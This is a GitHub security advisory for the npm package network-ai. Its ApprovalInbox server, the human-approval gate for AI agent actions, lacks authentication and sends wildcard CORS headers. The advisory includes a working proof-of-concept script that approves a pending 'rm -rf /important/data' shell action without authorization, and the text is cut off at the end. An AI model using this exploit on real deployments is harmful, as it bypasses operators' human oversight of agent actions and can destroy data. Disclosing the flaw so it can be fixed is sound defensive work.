GitHub Advisoryadvisory · npm
GHSA-mxjx-28vx-xjjj Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions
MEDIUM
Official page ↗
- Ecosystem
- npm
- Packages
- network-ai
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N
- Weaknesses
- CWE-352, CWE-862
- Reviewed
- 2026-06-19
Affected packages
• npm network-ai: >= 5.0.0, < 5.12.2 → fixed in 5.12.2
Description
Summary
`network-ai`'s `ApprovalInbox` (`lib/approval-inbox.ts`) is a shipped, exported, documented feature — *"a web-accessible approval queue with REST API … and SSE streaming"* (SECURITY.md). It is the network surface of the human-in-the-loop Approval Gate, which `ApprovalGate` uses to require explicit human approval for *"high-risk operations (writes, shell commands, budget spend)"* (SECURITY.md). The HTTP server it exposes has no authentication of any kind and sets **`Access-Control-Allow-Origin: *` on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`.
As a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.
This is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary `ApprovalInbox` server never received that hardening.
• Affected:** `network-ai {
...
res.setHeader('Access-Control-Allow-Origin', '*'); // 256 enumerate pending ids
this.sendJson(res, 200, this.list(status)); return;
}
...
const approveMatch = subPath.match(/^\/([a-f0-9]+)\/approve$/); // POST /approvals/:id/approve
if (approveMatch && req.method === 'POST') {
this.readBody(req).then((body) => {
const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous'; // defaults to 'anonymous'
const entry = this.approve(approveMatch[1], approvedBy, reason); // resolves the gate -> action proceeds
...
});
}
}
```
`approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds:
```js
// lib/approval-inbox.ts:172-183 / 327-339
approve(id, approvedBy, reason) {
...
return this.resolve(id, 'approved', { approved: true, approvedBy, reason }); // promise -> {approved:true}
}
```
`startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes):
```js
// lib/approval-inbox.ts:281-286
startServer(port, hostname = '127.0.0.1') {
const server = createServer(this.httpHandler());
server.listen(port, hostname);
return server;
}
```
There is no option to supply a secret/token (unlike `McpSseServer`/`McpHttpServer`, which require one and fail closed), and the wildcard `ACAO: *` is hardcoded — an operator cannot configure their way out of it.
Why the wildcard CORS matters
The two routes needed for exploitation are reachable cross-origin:
• `GET /approvals/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page read the response and learn the pending approval ids.
• `POST /approvals/:id/approve` with `Content-Type: application/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: …POST…`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `'anonymous'`, so no special body is required.
So a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.
Proof of Concept
Self-contained against the published `[email protected]` package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an unauthenticated client.
```bash
mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i [email protected]
node poc.mjs
```
`poc.mjs`:
```js
import { ApprovalInbox } from "network-ai";
import http from "node:http";
const PORT = 7798;
const req = (method, path, body) => new Promise((resolve, reject) => { // plain client — NO Authorization header
const data = body ? JSON.stringify(body) : undefined;
const r = http.request({ host: "127.0.0.1", port: PORT, method, path,
headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {} },
(res) => { let b = ""; res.on("data", c => b += c); res.on("end", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });
r.on("error", reject); if (data) r.write(data); r.end();
});
const inbox = new ApprovalInbox();
const gate = inbox.callback(); // what ApprovalGate calls before a dangerous action
inbox.startServer(PORT, "127.0.0.1"); // the documented "web-accessible approval queue"
await new Promise(r => setTimeout(r, 150));
let resolved = false;
const decisionP = gate({ action: "shell_execute", target: "rm -rf /important/data",
agentId: "worker-1", justification: "cleanup", riskLevel: "high" }).then(d => (resolved = true, d));
console.log("Gated dangerous action pending human approval. resolved =", resolved);
const list = await req("GET", "/approvals/?status=pending"); // attacker enumerates pending approvals
const id = list.json[0].id;
const approve = await req("POST", `/approvals/${id}/approve`, { approvedBy: "attacker" }); // and approves one
console.log("[attacker] GET /approvals/ (no auth) ->", list.status, "ids:", list.json.map(e => e.id));
console.log("[attacker] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status);
const decision = await decisionP;
console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved);
```
Output:
```
Gated dangerous action pending human approval. resolved = false
[attacker] GET /approvals/ (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]
[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved
>>> gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true
```
The gated action (`shell_execute: rm -rf /important/data`, `riskLevel: high`) is approved by a client that sent no `Authorization` header, and the `Approva…